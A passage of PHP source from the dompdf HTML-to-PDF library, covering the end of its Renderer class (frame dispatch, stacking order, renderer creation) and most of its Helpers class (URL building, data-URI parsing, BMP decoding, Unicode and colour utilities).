            case "table-row-group":
            case "table-header-group":
            case "table-footer-group":
                $this->_render_frame("table-row-group", $frame);
                break;

            case "-dompdf-list-bullet":
                $this->_render_frame("list-bullet", $frame);
                break;

            case "-dompdf-image":
                $this->_render_frame("image", $frame);
                break;

            case "none":
                $node = $frame->get_node();

                if ($node->nodeName === "script") {
                    if ($node->getAttribute("type") === "text/php" ||
                        $node->getAttribute("language") === "php"
                    ) {
                        // Evaluate embedded php scripts
                        $this->_render_frame("php", $frame);
                    } elseif ($node->getAttribute("type") === "text/javascript" ||
                        $node->getAttribute("language") === "javascript"
                    ) {
                        // Insert JavaScript
                        $this->_render_frame("javascript", $frame);
                    }
                }

                // Don't render children, so skip to next iter
                return;

            default:
                break;

        }

        // Starts the overflow: hidden box
        if ($style->overflow === "hidden") {
            $padding_box = $frame->get_padding_box();
            [$x, $y, $w, $h] = $padding_box;
            $style = $frame->get_style();

            if ($style->has_border_radius()) {
                $border_box = $frame->get_border_box();
                [$tl, $tr, $br, $bl] = $style->resolve_border_radius($border_box, $padding_box);
                $this->_canvas->clipping_roundrectangle($x, $y, $w, $h, $tl, $tr, $br, $bl);
            } else {
                $this->_canvas->clipping_rectangle($x, $y, $w, $h);
            }
        }

        $stack = [];

        foreach ($frame->get_children() as $child) {
            // < 0 : negative z-index
            // = 0 : no z-index, no stacking context
            // = 1 : stacking context without z-index
            // > 1 : z-index
            $child_style = $child->get_style();
            $child_z_index = $child_style->z_index;
            $z_index = 0;

            if ($child_z_index !== "auto") {
                $z_index = $child_z_index + 1;
            } elseif ($child_style->float !== "none" || $child->is_positioned()) {
                $z_index = 1;
            }

            $stack[$z_index][] = $child;
        }

        ksort($stack);

        foreach ($stack as $by_index) {
            foreach ($by_index as $child) {
                $this->render($child);
            }
        }

        // Ends the overflow: hidden box
        if ($style->overflow === "hidden") {
            $this->_canvas->clipping_end();
        }

        if ($hasTransform) {
            $this->_canvas->restore();
        }

        // Check for end frame callback
        $this->_check_callbacks("end_frame", $frame);
    }

    /**
     * Check for callbacks that need to be performed when a given event
     * gets triggered on a frame
     *
     * @param string $event The type of event
     * @param Frame  $frame The frame that event is triggered on
     */
    protected function _check_callbacks(string $event, Frame $frame): void
    {
        if (!isset($this->_callbacks)) {
            $this->_callbacks = $this->_dompdf->getCallbacks();
        }

        if (isset($this->_callbacks[$event])) {
            $fs = $this->_callbacks[$event];
            $canvas = $this->_canvas;
            $fontMetrics = $this->_dompdf->getFontMetrics();

            foreach ($fs as $f) {
                $f($frame, $canvas, $fontMetrics);
            }
        }
    }

    /**
     * Render a single frame
     *
     * Creates Renderer objects on demand
     *
     * @param string $type type of renderer to use
     * @param Frame $frame the frame to render
     */
    protected function _render_frame($type, $frame)
    {

        if (!isset($this->_renderers[$type])) {

            switch ($type) {
                case "block":
                    $this->_renderers[$type] = new Block($this->_dompdf);
                    break;

                case "inline":
                    $this->_renderers[$type] = new Inline($this->_dompdf);
                    break;

                case "text":
                    $this->_renderers[$type] = new Text($this->_dompdf);
                    break;

                case "image":
                    $this->_renderers[$type] = new Image($this->_dompdf);
                    break;

                case "table-cell":
                    $this->_renderers[$type] = new TableCell($this->_dompdf);
                    break;

                case "table-row":
                    $this->_renderers[$type] = new TableRow($this->_dompdf);
                    break;

                case "table-row-group":
                    $this->_renderers[$type] = new TableRowGroup($this->_dompdf);
                    break;

                case "list-bullet":
                    $this->_renderers[$type] = new ListBullet($this->_dompdf);
                    break;

                case "php":
                    $this->_renderers[$type] = new PhpEvaluator($this->_canvas);
                    break;

                case "javascript":
                    $this->_renderers[$type] = new JavascriptEmbedder($this->_dompdf);
                    break;

            }
        }

        $this->_renderers[$type]->render($frame);
    }
}
vendor/dompdf/dompdf/src/Helpers.php000066600000122405151150443010013467 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

class Helpers
{
    /**
     * print_r wrapper for html/cli output
     *
     * Wraps print_r() output in < pre > tags if the current sapi is not 'cli'.
     * Returns the output string instead of displaying it if $return is true.
     *
     * @param mixed $mixed variable or expression to display
     * @param bool $return
     *
     * @return string|null
     */
    public static function pre_r($mixed, $return = false)
    {
        if ($return) {
            return "<pre>" . print_r($mixed, true) . "</pre>";
        }

        if (php_sapi_name() !== "cli") {
            echo "<pre>";
        }

        print_r($mixed);

        if (php_sapi_name() !== "cli") {
            echo "</pre>";
        } else {
            echo "\n";
        }

        flush();

        return null;
    }

    /**
     * builds a full url given a protocol, hostname, base path and url
     *
     * @param string $protocol
     * @param string $host
     * @param string $base_path
     * @param string $url
     * @return string
     *
     * Initially the trailing slash of $base_path was optional, and conditionally appended.
     * However on dynamically created sites, where the page is given as url parameter,
     * the base path might not end with an url.
     * Therefore do not append a slash, and **require** the $base_url to ending in a slash
     * when needed.
     * Vice versa, on using the local file system path of a file, make sure that the slash
     * is appended (o.k. also for Windows)
     */
    public static function build_url($protocol, $host, $base_path, $url)
    {
        $protocol = mb_strtolower($protocol);
        if (empty($protocol)) {
            $protocol = "file://";
        }
        if ($url === "") {
            return null;
        }

        $url_lc = mb_strtolower($url);

        // Is the url already fully qualified, a Data URI, or a reference to a named anchor?
        // File-protocol URLs may require additional processing (e.g. for URLs with a relative path)
        if (
            (
                mb_strpos($url_lc, "://") !== false
                && !in_array(substr($url_lc, 0, 7), ["file://", "phar://"], true)
            )
            || mb_substr($url_lc, 0, 1) === "#"
            || mb_strpos($url_lc, "data:") === 0
            || mb_strpos($url_lc, "mailto:") === 0
            || mb_strpos($url_lc, "tel:") === 0
        ) {
            return $url;
        }

        $res = "";
        if (strpos($url_lc, "file://") === 0) {
            $url = substr($url, 7);
            $protocol = "file://";
        } elseif (strpos($url_lc, "phar://") === 0) {
            $res = substr($url, strpos($url_lc, ".phar")+5);
            $url = substr($url, 7, strpos($url_lc, ".phar")-2);
            $protocol = "phar://";
        }

        $ret = "";

        $is_local_path = in_array($protocol, ["file://", "phar://"], true);

        if ($is_local_path) {
            //On Windows local file, an abs path can begin also with a '\' or a drive letter and colon
            //drive: followed by a relative path would be a drive specific default folder.
            //not known in php app code, treat as abs path
            //($url[1] !== ':' || ($url[2]!=='\\' && $url[2]!=='/'))
            if ($url[0] !== '/' && (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN' || (mb_strlen($url) > 1 && $url[0] !== '\\' && $url[1] !== ':'))) {
                // For rel path and local access we ignore the host, and run the path through realpath()
                $ret .= realpath($base_path) . '/';
            }
            $ret .= $url;
            $ret = preg_replace('/\?(.*)$/', "", $ret);

            $filepath = realpath($ret);
            if ($filepath === false) {
                return null;
            }

            $ret = "$protocol$filepath$res";

            return $ret;
        }

        $ret = $protocol;
        // Protocol relative urls (e.g. "//example.org/style.css")
        if (strpos($url, '//') === 0) {
            $ret .= substr($url, 2);
            //remote urls with backslash in html/css are not really correct, but lets be genereous
        } elseif ($url[0] === '/' || $url[0] === '\\') {
            // Absolute path
            $ret .= $host . $url;
        } else {
            // Relative path
            //$base_path = $base_path !== "" ? rtrim($base_path, "/\\") . "/" : "";
            $ret .= $host . $base_path . $url;
        }

        // URL should now be complete, final cleanup
        $parsed_url = parse_url($ret);

        // reproduced from https://www.php.net/manual/en/function.parse-url.php#106731
        $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
        $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
        $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
        $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
        $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
        $pass     = ($user || $pass) ? "$pass@" : '';
        $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
        $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
        $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
        
        // partially reproduced from https://stackoverflow.com/a/1243431/264628
        /* replace '//' or '/./' or '/foo/../' with '/' */
        $re = array('#(/\.?/)#', '#/(?!\.\.)[^/]+/\.\./#');
        for ($n=1; $n>0; $path=preg_replace($re, '/', $path, -1, $n)) {}

        $ret = "$scheme$user$pass$host$port$path$query$fragment";

        return $ret;
    }

    /**
     * Builds a HTTP Content-Disposition header string using `$dispositionType`
     * and `$filename`.
     *
     * If the filename contains any characters not in the ISO-8859-1 character
     * set, a fallback filename will be included for clients not supporting the
     * `filename*` parameter.
     *
     * @param string $dispositionType
     * @param string $filename
     * @return string
     */
    public static function buildContentDispositionHeader($dispositionType, $filename)
    {
        $encoding = mb_detect_encoding($filename);
        $fallbackfilename = mb_convert_encoding($filename, "ISO-8859-1", $encoding);
        $fallbackfilename = str_replace("\"", "", $fallbackfilename);
        $encodedfilename = rawurlencode($filename);

        $contentDisposition = "Content-Disposition: $dispositionType; filename=\"$fallbackfilename\"";
        if ($fallbackfilename !== $filename) {
            $contentDisposition .= "; filename*=UTF-8''$encodedfilename";
        }

        return $contentDisposition;
    }

    /**
     * Converts decimal numbers to roman numerals.
     *
     * As numbers larger than 3999 (and smaller than 1) cannot be represented in
     * the standard form of roman numerals, those are left in decimal form.
     *
     * See https://en.wikipedia.org/wiki/Roman_numerals#Standard_form
     *
     * @param int|string $num
     *
     * @throws Exception
     * @return string
     */
    public static function dec2roman($num): string
    {

        static $ones = ["", "i", "ii", "iii", "iv", "v", "vi", "vii", "viii", "ix"];
        static $tens = ["", "x", "xx", "xxx", "xl", "l", "lx", "lxx", "lxxx", "xc"];
        static $hund = ["", "c", "cc", "ccc", "cd", "d", "dc", "dcc", "dccc", "cm"];
        static $thou = ["", "m", "mm", "mmm"];

        if (!is_numeric($num)) {
            throw new Exception("dec2roman() requires a numeric argument.");
        }

        if ($num >= 4000 || $num <= 0) {
            return (string) $num;
        }

        $num = strrev((string)$num);

        $ret = "";
        switch (mb_strlen($num)) {
            /** @noinspection PhpMissingBreakStatementInspection */
            case 4:
                $ret .= $thou[$num[3]];
            /** @noinspection PhpMissingBreakStatementInspection */
            case 3:
                $ret .= $hund[$num[2]];
            /** @noinspection PhpMissingBreakStatementInspection */
            case 2:
                $ret .= $tens[$num[1]];
            /** @noinspection PhpMissingBreakStatementInspection */
            case 1:
                $ret .= $ones[$num[0]];
            default:
                break;
        }

        return $ret;
    }

    /**
     * Restrict a length to the given range.
     *
     * If min > max, the result is min.
     *
     * @param float $length
     * @param float $min
     * @param float $max
     *
     * @return float
     */
    public static function clamp(float $length, float $min, float $max): float
    {
        return max($min, min($length, $max));
    }

    /**
     * Determines whether $value is a percentage or not
     *
     * @param string|float|int $value
     *
     * @return bool
     */
    public static function is_percent($value): bool
    {
        return is_string($value) && false !== mb_strpos($value, "%");
    }

    /**
     * Parses a data URI scheme
     * http://en.wikipedia.org/wiki/Data_URI_scheme
     *
     * @param string $data_uri The data URI to parse
     *
     * @return array|bool The result with charset, mime type and decoded data
     */
    public static function parse_data_uri($data_uri)
    {
        if (!preg_match('/^data:(?P<mime>[a-z0-9\/+-.]+)(;charset=(?P<charset>[a-z0-9-])+)?(?P<base64>;base64)?\,(?P<data>.*)?/is', $data_uri, $match)) {
            return false;
        }

        $match['data'] = rawurldecode($match['data']);
        $result = [
            'charset' => $match['charset'] ? $match['charset'] : 'US-ASCII',
            'mime' => $match['mime'] ? $match['mime'] : 'text/plain',
            'data' => $match['base64'] ? base64_decode($match['data']) : $match['data'],
        ];

        return $result;
    }

    /**
     * Encodes a Uniform Resource Identifier (URI) by replacing non-alphanumeric
     * characters with a percent (%) sign followed by two hex digits, excepting
     * characters in the URI reserved character set.
     *
     * Assumes that the URI is a complete URI, so does not encode reserved
     * characters that have special meaning in the URI.
     *
     * Simulates the encodeURI function available in JavaScript
     * https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/encodeURI
     *
     * Source: http://stackoverflow.com/q/4929584/264628
     *
     * @param string $uri The URI to encode
     * @return string The original URL with special characters encoded
     */
    public static function encodeURI($uri) {
        $unescaped = [
            '%2D'=>'-','%5F'=>'_','%2E'=>'.','%21'=>'!', '%7E'=>'~',
            '%2A'=>'*', '%27'=>"'", '%28'=>'(', '%29'=>')'
        ];
        $reserved = [
            '%3B'=>';','%2C'=>',','%2F'=>'/','%3F'=>'?','%3A'=>':',
            '%40'=>'@','%26'=>'&','%3D'=>'=','%2B'=>'+','%24'=>'$'
        ];
        $score = [
            '%23'=>'#'
        ];
        return preg_replace(
            '/%25([a-fA-F0-9]{2,2})/',
            '%$1',
            strtr(rawurlencode($uri), array_merge($reserved, $unescaped, $score))
        );
    }

    /**
     * Decoder for RLE8 compression in windows bitmaps
     * http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/bitmaps_6x0u.asp
     *
     * @param string $str Data to decode
     * @param int $width Image width
     *
     * @return string
     */
    public static function rle8_decode($str, $width)
    {
        $lineWidth = $width + (3 - ($width - 1) % 4);
        $out = '';
        $cnt = strlen($str);

        for ($i = 0; $i < $cnt; $i++) {
            $o = ord($str[$i]);
            switch ($o) {
                case 0: # ESCAPE
                    $i++;
                    switch (ord($str[$i])) {
                        case 0: # NEW LINE
                            $padCnt = $lineWidth - strlen($out) % $lineWidth;
                            if ($padCnt < $lineWidth) {
                                $out .= str_repeat(chr(0), $padCnt); # pad line
                            }
                            break;
                        case 1: # END OF FILE
                            $padCnt = $lineWidth - strlen($out) % $lineWidth;
                            if ($padCnt < $lineWidth) {
                                $out .= str_repeat(chr(0), $padCnt); # pad line
                            }
                            break 3;
                        case 2: # DELTA
                            $i += 2;
                            break;
                        default: # ABSOLUTE MODE
                            $num = ord($str[$i]);
                            for ($j = 0; $j < $num; $j++) {
                                $out .= $str[++$i];
                            }
                            if ($num % 2) {
                                $i++;
                            }
                    }
                    break;
                default:
                    $out .= str_repeat($str[++$i], $o);
            }
        }
        return $out;
    }

    /**
     * Decoder for RLE4 compression in windows bitmaps
     * see http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/bitmaps_6x0u.asp
     *
     * @param string $str Data to decode
     * @param int $width Image width
     *
     * @return string
     */
    public static function rle4_decode($str, $width)
    {
        $w = floor($width / 2) + ($width % 2);
        $lineWidth = $w + (3 - (($width - 1) / 2) % 4);
        $pixels = [];
        $cnt = strlen($str);
        $c = 0;

        for ($i = 0; $i < $cnt; $i++) {
            $o = ord($str[$i]);
            switch ($o) {
                case 0: # ESCAPE
                    $i++;
                    switch (ord($str[$i])) {
                        case 0: # NEW LINE
                            while (count($pixels) % $lineWidth != 0) {
                                $pixels[] = 0;
                            }
                            break;
                        case 1: # END OF FILE
                            while (count($pixels) % $lineWidth != 0) {
                                $pixels[] = 0;
                            }
                            break 3;
                        case 2: # DELTA
                            $i += 2;
                            break;
                        default: # ABSOLUTE MODE
                            $num = ord($str[$i]);
                            for ($j = 0; $j < $num; $j++) {
                                if ($j % 2 == 0) {
                                    $c = ord($str[++$i]);
                                    $pixels[] = ($c & 240) >> 4;
                                } else {
                                    $pixels[] = $c & 15;
                                }
                            }

                            if ($num % 2 == 0) {
                                $i++;
                            }
                    }
                    break;
                default:
                    $c = ord($str[++$i]);
                    for ($j = 0; $j < $o; $j++) {
                        $pixels[] = ($j % 2 == 0 ? ($c & 240) >> 4 : $c & 15);
                    }
            }
        }

        $out = '';
        if (count($pixels) % 2) {
            $pixels[] = 0;
        }

        $cnt = count($pixels) / 2;

        for ($i = 0; $i < $cnt; $i++) {
            $out .= chr(16 * $pixels[2 * $i] + $pixels[2 * $i + 1]);
        }

        return $out;
    }

    /**
     * parse a full url or pathname and return an array(protocol, host, path,
     * file + query + fragment)
     *
     * @param string $url
     * @return array
     */
    public static function explode_url($url)
    {
        $protocol = "";
        $host = "";
        $path = "";
        $file = "";
        $res = "";

        $arr = parse_url($url);
        if ( isset($arr["scheme"]) ) {
            $arr["scheme"] = mb_strtolower($arr["scheme"]);
        }

        if (isset($arr["scheme"]) && $arr["scheme"] !== "file" && $arr["scheme"] !== "phar" && strlen($arr["scheme"]) > 1) {
            $protocol = $arr["scheme"] . "://";

            if (isset($arr["user"])) {
                $host .= $arr["user"];

                if (isset($arr["pass"])) {
                    $host .= ":" . $arr["pass"];
                }

                $host .= "@";
            }

            if (isset($arr["host"])) {
                $host .= $arr["host"];
            }

            if (isset($arr["port"])) {
                $host .= ":" . $arr["port"];
            }

            if (isset($arr["path"]) && $arr["path"] !== "") {
                // Do we have a trailing slash?
                if ($arr["path"][mb_strlen($arr["path"]) - 1] === "/") {
                    $path = $arr["path"];
                    $file = "";
                } else {
                    $path = rtrim(dirname($arr["path"]), '/\\') . "/";
                    $file = basename($arr["path"]);
                }
            }

            if (isset($arr["query"])) {
                $file .= "?" . $arr["query"];
            }

            if (isset($arr["fragment"])) {
                $file .= "#" . $arr["fragment"];
            }

        } else {

            $protocol = "";
            $host = ""; // localhost, really

            $i = mb_stripos($url, "://");
            if ($i !== false) {
                $protocol = mb_strtolower(mb_substr($url, 0, $i + 3));
                $url = mb_substr($url, $i + 3);
            } else {
                $protocol = "file://";
            }

            if ($protocol === "phar://") {
                $res = substr($url, stripos($url, ".phar")+5);
                $url = substr($url, 7, stripos($url, ".phar")-2);
            }

            $file = basename($url);
            $path = dirname($url) . "/";
        }

        $ret = [$protocol, $host, $path, $file,
            "protocol" => $protocol,
            "host" => $host,
            "path" => $path,
            "file" => $file,
            "resource" => $res];
        return $ret;
    }

    /**
     * Print debug messages
     *
     * @param string $type The type of debug messages to print
     * @param string $msg The message to show
     */
    public static function dompdf_debug($type, $msg)
    {
        global $_DOMPDF_DEBUG_TYPES, $_dompdf_show_warnings, $_dompdf_debug;
        if (isset($_DOMPDF_DEBUG_TYPES[$type]) && ($_dompdf_show_warnings || $_dompdf_debug)) {
            $arr = debug_backtrace();

            echo basename($arr[0]["file"]) . " (" . $arr[0]["line"] . "): " . $arr[1]["function"] . ": ";
            Helpers::pre_r($msg);
        }
    }

    /**
     * Stores warnings in an array for display later
     * This function allows warnings generated by the DomDocument parser
     * and CSS loader ({@link Stylesheet}) to be captured and displayed
     * later.  Without this function, errors are displayed immediately and
     * PDF streaming is impossible.
     * @see http://www.php.net/manual/en/function.set-error_handler.php
     *
     * @param int $errno
     * @param string $errstr
     * @param string $errfile
     * @param string $errline
     *
     * @throws Exception
     */
    public static function record_warnings($errno, $errstr, $errfile, $errline)
    {
        // Not a warning or notice
        if (!($errno & (E_WARNING | E_NOTICE | E_USER_NOTICE | E_USER_WARNING | E_STRICT | E_DEPRECATED | E_USER_DEPRECATED))) {
            throw new Exception($errstr . " $errno");
        }

        global $_dompdf_warnings;
        global $_dompdf_show_warnings;

        if ($_dompdf_show_warnings) {
            echo $errstr . "\n";
        }

        $_dompdf_warnings[] = $errstr;
    }

    /**
     * Get Unicode code point of character
     *
     * Shim for use on systems running PHP < 7.2
     *
     * @param string $c
     * @param string $encoding
     * @return int|false
     */
    public static function uniord(string $c, string $encoding = null)
    {
        if (function_exists("mb_ord")) {
            if (PHP_VERSION_ID < 80000 && $encoding === null) {
                // in PHP < 8 the encoding argument, if supplied, must be a valid encoding
                $encoding = "UTF-8";
            }
            return mb_ord($c, $encoding);
        }

        if ($encoding != "UTF-8" && $encoding !== null) {
            $c = mb_convert_encoding($c, "UTF-8", $encoding);
        }

        $length = mb_strlen(mb_substr($c, 0, 1), '8bit');
        $ord = false;
        $bytes = [];
        $numbytes = 1;
        for ($i = 0; $i < $length; $i++) {
            $o = ord($c[$i]); // get one string character at time
            if (count($bytes) === 0) { // get starting octect
                if ($o <= 0x7F) {
                    $ord = $o;
                    $numbytes = 1;
                } elseif (($o >> 0x05) === 0x06) { // 2 bytes character (0x06 = 110 BIN)
                    $bytes[] = ($o - 0xC0) << 0x06;
                    $numbytes = 2;
                } elseif (($o >> 0x04) === 0x0E) { // 3 bytes character (0x0E = 1110 BIN)
                    $bytes[] = ($o - 0xE0) << 0x0C;
                    $numbytes = 3;
                } elseif (($o >> 0x03) === 0x1E) { // 4 bytes character (0x1E = 11110 BIN)
                    $bytes[] = ($o - 0xF0) << 0x12;
                    $numbytes = 4;
                } else {
                    $ord = false;
                    break;
                }
            } elseif (($o >> 0x06) === 0x02) { // bytes 2, 3 and 4 must start with 0x02 = 10 BIN
                $bytes[] = $o - 0x80;
                if (count($bytes) === $numbytes) {
                    // compose UTF-8 bytes to a single unicode value
                    $o = $bytes[0];
                    for ($j = 1; $j < $numbytes; $j++) {
                        $o += ($bytes[$j] << (($numbytes - $j - 1) * 0x06));
                    }
                    if ((($o >= 0xD800) and ($o <= 0xDFFF)) or ($o >= 0x10FFFF)) {
                        // The definition of UTF-8 prohibits encoding character numbers between
                        // U+D800 and U+DFFF, which are reserved for use with the UTF-16
                        // encoding form (as surrogate pairs) and do not directly represent
                        // characters.
                        return false;
                    } else {
                        $ord = $o; // add char to array
                    }
                    // reset data for next char
                    $bytes = [];
                    $numbytes = 1;
                }
            } else {
                $ord = false;
                break;
            }
        }

        return $ord;
    }

    /**
     * Return character by Unicode code point value
     *
     * Shim for use on systems running PHP < 7.2
     *
     * @param int    $c
     * @param string $encoding
     * @return string|false
     */
    public static function unichr(int $c, string $encoding = null)
    {
        if (function_exists("mb_chr")) {
            if (PHP_VERSION_ID < 80000 && $encoding === null) {
                // in PHP < 8 the encoding argument, if supplied, must be a valid encoding
                $encoding = "UTF-8";
            }
            return mb_chr($c, $encoding);
        }

        $chr = false;
        if ($c <= 0x7F) {
            $chr = chr($c);
        } elseif ($c <= 0x7FF) {
            $chr = chr(0xC0 | $c >> 6) . chr(0x80 | $c & 0x3F);
        } elseif ($c <= 0xFFFF) {
            $chr = chr(0xE0 | $c >> 12) . chr(0x80 | $c >> 6 & 0x3F)
            . chr(0x80 | $c & 0x3F);
        } elseif ($c <= 0x10FFFF) {
            $chr = chr(0xF0 | $c >> 18) . chr(0x80 | $c >> 12 & 0x3F)
            . chr(0x80 | $c >> 6 & 0x3F)
            . chr(0x80 | $c & 0x3F);
        }

        return $chr;
    }

    /**
     * Converts a CMYK color to RGB
     *
     * @param float|float[] $c
     * @param float $m
     * @param float $y
     * @param float $k
     *
     * @return float[]
     */
    public static function cmyk_to_rgb($c, $m = null, $y = null, $k = null)
    {
        if (is_array($c)) {
            [$c, $m, $y, $k] = $c;
        }

        $c *= 255;
        $m *= 255;
        $y *= 255;
        $k *= 255;

        $r = (1 - round(2.55 * ($c + $k)));
        $g = (1 - round(2.55 * ($m + $k)));
        $b = (1 - round(2.55 * ($y + $k)));

        if ($r < 0) {
            $r = 0;
        }
        if ($g < 0) {
            $g = 0;
        }
        if ($b < 0) {
            $b = 0;
        }

        return [
            $r, $g, $b,
            "r" => $r, "g" => $g, "b" => $b
        ];
    }

    /**
     * getimagesize doesn't give a good size for 32bit BMP image v5
     *
     * @param string $filename
     * @param resource $context
     * @return array An array of three elements: width and height as
     *         `float|int`, and image type as `string|null`.
     */
    public static function dompdf_getimagesize($filename, $context = null)
    {
        static $cache = [];

        if (isset($cache[$filename])) {
            return $cache[$filename];
        }

        [$width, $height, $type] = getimagesize($filename);

        // Custom types
        $types = [
            IMAGETYPE_JPEG => "jpeg",
            IMAGETYPE_GIF  => "gif",
            IMAGETYPE_BMP  => "bmp",
            IMAGETYPE_PNG  => "png",
            IMAGETYPE_WEBP => "webp",
        ];

        $type = $types[$type] ?? null;

        if ($width == null || $height == null) {
            [$data] = Helpers::getFileContent($filename, $context);

            if ($data !== null) {
                if (substr($data, 0, 2) === "BM") {
                    $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
                    $width = (int) $meta["width"];
                    $height = (int) $meta["height"];
                    $type = "bmp";
                } elseif (strpos($data, "<svg") !== false) {
                    $doc = new \Svg\Document();
                    $doc->loadFile($filename);

                    [$width, $height] = $doc->getDimensions();
                    $width = (float) $width;
                    $height = (float) $height;
                    $type = "svg";
                }
            }
        }

        return $cache[$filename] = [$width ?? 0, $height ?? 0, $type];
    }

    /**
     * Credit goes to mgutt
     * http://www.programmierer-forum.de/function-imagecreatefrombmp-welche-variante-laeuft-t143137.htm
     * Modified by Fabien Menager to support RGB555 BMP format
     */
    public static function imagecreatefrombmp($filename)
    {
        if (!function_exists("imagecreatetruecolor")) {
            trigger_error("The PHP GD extension is required, but is not installed.", E_ERROR);
            return false;
        }

        if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
            return $im;
        }

        // version 1.00
        if (!($fh = fopen($filename, 'rb'))) {
            trigger_error('imagecreatefrombmp: Can not open ' . $filename, E_USER_WARNING);
            return false;
        }

        $bytes_read = 0;

        // read file header
        $meta = unpack('vtype/Vfilesize/Vreserved/Voffset', fread($fh, 14));

        // check for bitmap
        if ($meta['type'] != 19778) {
            trigger_error('imagecreatefrombmp: ' . $filename . ' is not a bitmap!', E_USER_WARNING);
            return false;
        }

        // read image header
        $meta += unpack('Vheadersize/Vwidth/Vheight/vplanes/vbits/Vcompression/Vimagesize/Vxres/Vyres/Vcolors/Vimportant', fread($fh, 40));
        $bytes_read += 40;

        // read additional bitfield header
        if ($meta['compression'] == 3) {
            $meta += unpack('VrMask/VgMask/VbMask', fread($fh, 12));
            $bytes_read += 12;
        }

        // set bytes and padding
        $meta['bytes'] = $meta['bits'] / 8;
        $meta['decal'] = 4 - (4 * (($meta['width'] * $meta['bytes'] / 4) - floor($meta['width'] * $meta['bytes'] / 4)));
        if ($meta['decal'] == 4) {
            $meta['decal'] = 0;
        }

        // obtain imagesize
        if ($meta['imagesize'] < 1) {
            $meta['imagesize'] = $meta['filesize'] - $meta['offset'];
            // in rare cases filesize is equal to offset so we need to read physical size
            if ($meta['imagesize'] < 1) {
                $meta['imagesize'] = @filesize($filename) - $meta['offset'];
                if ($meta['imagesize'] < 1) {
                    trigger_error('imagecreatefrombmp: Can not obtain filesize of ' . $filename . '!', E_USER_WARNING);
                    return false;
                }
            }
        }

        // calculate colors
        $meta['colors'] = !$meta['colors'] ? pow(2, $meta['bits']) : $meta['colors'];

        // read color palette
        $palette = [];
        if ($meta['bits'] < 16) {
            $palette = unpack('l' . $meta['colors'], fread($fh, $meta['colors'] * 4));
            // in rare cases the color value is signed
            if ($palette[1] < 0) {
                foreach ($palette as $i => $color) {
                    $palette[$i] = $color + 16777216;
                }
            }
        }

        // ignore extra bitmap headers
        if ($meta['headersize'] > $bytes_read) {
            fread($fh, $meta['headersize'] - $bytes_read);
        }

        // create gd image
        $im = imagecreatetruecolor($meta['width'], $meta['height']);
        $data = fread($fh, $meta['imagesize']);

        // uncompress data
        switch ($meta['compression']) {
            case 1:
                $data = Helpers::rle8_decode($data, $meta['width']);
                break;
            case 2:
                $data = Helpers::rle4_decode($data, $meta['width']);
                break;
        }

        $p = 0;
        $vide = chr(0);
        $y = $meta['height'] - 1;
        $error = 'imagecreatefrombmp: ' . $filename . ' has not enough data!';

        // loop through the image data beginning with the lower left corner
        while ($y >= 0) {
            $x = 0;
            while ($x < $meta['width']) {
                switch ($meta['bits']) {
                    case 32:
                    case 24:
                        if (!($part = substr($data, $p, 3 /*$meta['bytes']*/))) {
                            trigger_error($error, E_USER_WARNING);
                            return $im;
                        }
                        $color = unpack('V', $part . $vide);
                        break;
                    case 16:
                        if (!($part = substr($data, $p, 2 /*$meta['bytes']*/))) {
                            trigger_error($error, E_USER_WARNING);
                            return $im;
                        }
                        $color = unpack('v', $part);

                        if (empty($meta['rMask']) || $meta['rMask'] != 0xf800) {
                            $color[1] = (($color[1] & 0x7c00) >> 7) * 65536 + (($color[1] & 0x03e0) >> 2) * 256 + (($color[1] & 0x001f) << 3); // 555
                        } else {
                            $color[1] = (($color[1] & 0xf800) >> 8) * 65536 + (($color[1] & 0x07e0) >> 3) * 256 + (($color[1] & 0x001f) << 3); // 565
                        }
                        break;
                    case 8:
                        $color = unpack('n', $vide . substr($data, $p, 1));
                        $color[1] = $palette[$color[1] + 1];
                        break;
                    case 4:
                        $color = unpack('n', $vide . substr($data, floor($p), 1));
                        $color[1] = ($p * 2) % 2 == 0 ? $color[1] >> 4 : $color[1] & 0x0F;
                        $color[1] = $palette[$color[1] + 1];
                        break;
                    case 1:
                        $color = unpack('n', $vide . substr($data, floor($p), 1));
                        switch (($p * 8) % 8) {
                            case 0:
                                $color[1] = $color[1] >> 7;
                                break;
                            case 1:
                                $color[1] = ($color[1] & 0x40) >> 6;
                                break;
                            case 2:
                                $color[1] = ($color[1] & 0x20) >> 5;
                                break;
                            case 3:
                                $color[1] = ($color[1] & 0x10) >> 4;
                                break;
                            case 4:
                                $color[1] = ($color[1] & 0x8) >> 3;
                                break;
                            case 5:
                                $color[1] = ($color[1] & 0x4) >> 2;
                                break;
                            case 6:
                                $color[1] = ($color[1] & 0x2) >> 1;
                                break;
                            case 7:
                                $color[1] = ($color[1] & 0x1);
                                break;
                        }
                        $color[1] = $palette[$color[1] + 1];
                        break;
                    default:
                        trigger_error('imagecreatefrombmp: ' . $filename . ' has ' . $meta['bits'] . ' bits and this is not supported!', E_USER_WARNING);
                        return false;
                }
                imagesetpixel($im, $x, $y, $color[1]);
                $x++;
                $p += $meta['bytes'];
            }
            $y--;
            $p += $meta['decal'];
        }
        fclose($fh);
        return $im;
    }

    /**
     * Gets the content of the file at the specified path using one of
     * the following methods, in preferential order:
     *  - file_get_contents: if allow_url_fopen is true or the file is local
     *  - curl: if allow_url_fopen is false and curl is available
     *
     * @param string $uri
     * @param resource $context
     * @param int $offset
     * @param int $maxlen
     * @return string[]
     */
    public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
    {
        $content = null;
        $headers = null;
        [$protocol] = Helpers::explode_url($uri);
        $is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
